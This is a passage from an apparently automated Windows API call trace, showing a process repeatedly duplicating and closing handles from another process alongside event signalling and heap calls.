(hEvent=0xec) returned 1 [0148.859] SetEvent (hEvent=0xe8) returned 1 [0148.859] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.859] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.859] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.859] NtClose (Handle=0x15c) returned 0x0 [0148.859] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x290, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.859] ResetEvent (hEvent=0xec) returned 1 [0148.859] SetEvent (hEvent=0xe8) returned 1 [0148.859] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.860] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.860] NtClose (Handle=0x15c) returned 0x0 [0148.860] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x294, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.860] ResetEvent (hEvent=0xec) returned 1 [0148.860] SetEvent (hEvent=0xe8) returned 1 [0148.860] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.860] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.860] NtClose (Handle=0x15c) returned 0x0 [0148.860] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x298, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.860] ResetEvent (hEvent=0xec) returned 1 [0148.860] SetEvent (hEvent=0xe8) returned 1 [0148.860] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.861] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.861] NtClose (Handle=0x15c) returned 0x0 [0148.861] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x29c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.861] ResetEvent (hEvent=0xec) returned 1 [0148.861] SetEvent (hEvent=0xe8) returned 1 [0148.861] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.861] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.861] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.861] NtClose (Handle=0x15c) returned 0x0 [0148.861] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2a0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.861] ResetEvent (hEvent=0xec) returned 1 [0148.861] SetEvent (hEvent=0xe8) returned 1 [0148.862] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.862] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.862] NtClose (Handle=0x15c) returned 0x0 [0148.862] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2a4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.862] ResetEvent (hEvent=0xec) returned 1 [0148.862] SetEvent (hEvent=0xe8) returned 1 [0148.862] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.862] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.862] NtClose (Handle=0x15c) returned 0x0 [0148.863] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2a8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.863] ResetEvent (hEvent=0xec) returned 1 [0148.863] SetEvent (hEvent=0xe8) returned 1 [0148.863] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.863] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.863] NtClose (Handle=0x15c) returned 0x0 [0148.863] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2ac, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.863] ResetEvent (hEvent=0xec) returned 1 [0148.863] SetEvent (hEvent=0xe8) returned 1 [0148.863] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.864] NtClose (Handle=0x15c) returned 0x0 [0148.864] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2b0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.864] ResetEvent (hEvent=0xec) returned 1 [0148.864] SetEvent (hEvent=0xe8) returned 1 [0148.864] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.864] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.864] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.864] NtClose (Handle=0x15c) returned 0x0 [0148.864] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2b4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.864] ResetEvent (hEvent=0xec) returned 1 [0148.864] SetEvent (hEvent=0xe8) returned 1 [0148.864] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.865] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.865] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.865] NtClose (Handle=0x15c) returned 0x0 [0148.865] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2b8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.865] ResetEvent (hEvent=0xec) returned 1 [0148.865] SetEvent (hEvent=0xe8) returned 1 [0148.865] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.865] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.865] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.865] NtClose (Handle=0x15c) returned 0x0 [0148.865] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2bc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.865] ResetEvent (hEvent=0xec) returned 1 [0148.865] SetEvent (hEvent=0xe8) returned 1 [0148.865] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.866] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.866] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.866] NtClose (Handle=0x15c) returned 0x0 [0148.866] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2c0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.866] ResetEvent (hEvent=0xec) returned 1 [0148.866] SetEvent (hEvent=0xe8) returned 1 [0148.866] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.866] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.867] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.867] NtClose (Handle=0x15c) returned 0x0 [0148.867] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2c8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.867] ResetEvent (hEvent=0xec) returned 1 [0148.867] SetEvent (hEvent=0xe8) returned 1 [0148.867] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.867] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.867] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.867] NtClose (Handle=0x15c) returned 0x0 [0148.867] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2d4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.867] ResetEvent (hEvent=0xec) returned 1 [0148.867] SetEvent (hEvent=0xe8) returned 1 [0148.867] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.868] NtClose (Handle=0x15c) returned 0x0 [0148.868] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2d8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.868] ResetEvent (hEvent=0xec) returned 1 [0148.868] SetEvent (hEvent=0xe8) returned 1 [0148.868] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.868] NtClose (Handle=0x15c) returned 0x0 [0148.868] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2dc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.868] ResetEvent (hEvent=0xec) returned 1 [0148.868] SetEvent (hEvent=0xe8) returned 1 [0148.868] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.869] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.869] NtClose (Handle=0x15c) returned 0x0 [0148.869] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2e0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.869] ResetEvent (hEvent=0xec) returned 1 [0148.869] SetEvent (hEvent=0xe8) returned 1 [0148.869] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.869] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.869] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.869] NtClose (Handle=0x15c) returned 0x0 [0148.869] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2e4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.869] ResetEvent (hEvent=0xec) returned 1 [0148.870] SetEvent (hEvent=0xe8) returned 1 [0148.870] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.870] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.870] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.870] NtClose (Handle=0x15c) returned 0x0 [0148.870] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2e8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.870] ResetEvent (hEvent=0xec) returned 1 [0148.870] SetEvent (hEvent=0xe8) returned 1 [0148.870] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.870] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.870] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.870] NtClose (Handle=0x15c) returned 0x0 [0148.871] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2ec, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.871] ResetEvent (hEvent=0xec) returned 1 [0148.871] SetEvent (hEvent=0xe8) returned 1 [0148.871] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.871] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.871] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.871] NtClose (Handle=0x15c) returned 0x0 [0148.871] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2f0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.871] ResetEvent (hEvent=0xec) returned 1 [0148.871] SetEvent (hEvent=0xe8) returned 1 [0148.871] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.872] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.872] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.872] NtClose (Handle=0x15c) returned 0x0 [0148.872] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2f4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.872] ResetEvent (hEvent=0xec) returned 1 [0148.872] SetEvent (hEvent=0xe8) returned 1 [0148.872] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.872] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.872] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.872] NtClose (Handle=0x15c) returned 0x0 [0148.872] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2f8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.872] ResetEvent (hEvent=0xec) returned 1 [0148.872] SetEvent (hEvent=0xe8) returned 1 [0148.872] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.873] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.873] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.873] NtClose (Handle=0x15c) returned 0x0 [0148.873] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2fc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.873] ResetEvent (hEvent=0xec) returned 1 [0148.873] SetEvent (hEvent=0xe8) returned 1 [0148.873] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.873] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.873] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.873] NtClose (Handle=0x15c) returned 0x0 [0148.873] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x300, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.874] ResetEvent (hEvent=0xec) returned 1 [0148.874] SetEvent (hEvent=0xe8) returned 1 [0148.874] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.874] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.874] NtClose (Handle=0x15c) returned 0x0 [0148.874] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x304, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.874] ResetEvent (hEvent=0xec) returned 1 [0148.874] SetEvent (hEvent=0xe8) returned 1 [0148.874] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.874] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.874] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.875] NtClose (Handle=0x15c) returned 0x0 [0148.875] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x308, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.875] ResetEvent (hEvent=0xec) returned 1 [0148.875] SetEvent (hEvent=0xe8) returned 1 [0148.875] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.875] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.875] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.875] NtClose (Handle=0x15c) returned 0x0 [0148.875] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x30c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.875] ResetEvent (hEvent=0xec) returned 1 [0148.875] SetEvent (hEvent=0xe8) returned 1 [0148.875] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.876] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.876] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.876] NtClose (Handle=0x15c) returned 0x0 [0148.876] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x310, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.876] ResetEvent (hEvent=0xec) returned 1 [0148.876] SetEvent (hEvent=0xe8) returned 1 [0148.876] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.878] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.878] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.878] NtClose (Handle=0x15c) returned 0x0 [0148.878] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x314, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.878] ResetEvent (hEvent=0xec) returned 1 [0148.878] SetEvent (hEvent=0xe8) returned 1 [0148.878] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.879] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.879] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.879] NtClose (Handle=0x15c) returned 0x0 [0148.879] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x318, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.879] ResetEvent (hEvent=0xec) returned 1 [0148.879] SetEvent (hEvent=0xe8) returned 1 [0148.879] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.879] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.879] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.879] NtClose (Handle=0x15c) returned 0x0 [0148.879] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x31c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.879] ResetEvent (hEvent=0xec) returned 1 [0148.879] SetEvent (hEvent=0xe8) returned 1 [0148.880] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.880] NtClose (Handle=0x15c) returned 0x0 [0148.880] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x320, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.880] ResetEvent (hEvent=0xec) returned 1 [0148.880] SetEvent (hEvent=0xe8) returned 1 [0148.880] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.880] NtClose (Handle=0x15c) returned 0x0 [0148.880] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x324, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.880] ResetEvent (hEvent=0xec) returned 1 [0148.880] SetEvent (hEvent=0xe8) returned 1 [0148.881] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.057] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.057] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.057] NtClose (Handle=0x15c) returned 0x0 [0149.058] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x328, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.058] ResetEvent (hEvent=0xec) returned 1 [0149.058] SetEvent (hEvent=0xe8) returned 1 [0149.058] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.058] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.058] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.058] NtClose (Handle=0x15c) returned 0x0 [0149.058] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x32c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.058] ResetEvent (hEvent=0xec) returned 1 [0149.058] SetEvent (hEvent=0xe8) returned 1 [0149.058] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.059] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.059] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.059] NtClose (Handle=0x15c) returned 0x0 [0149.059] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x330, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0149.059] ResetEvent (hEvent=0xec) returned 1 [0149.059] SetEvent (hEvent=0xe8) returned 1 [0149.059] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0149.059] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0149.059] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0149.059] NtClose (Handle=0x15c) returned 0x0 [0149.059] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x334, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: 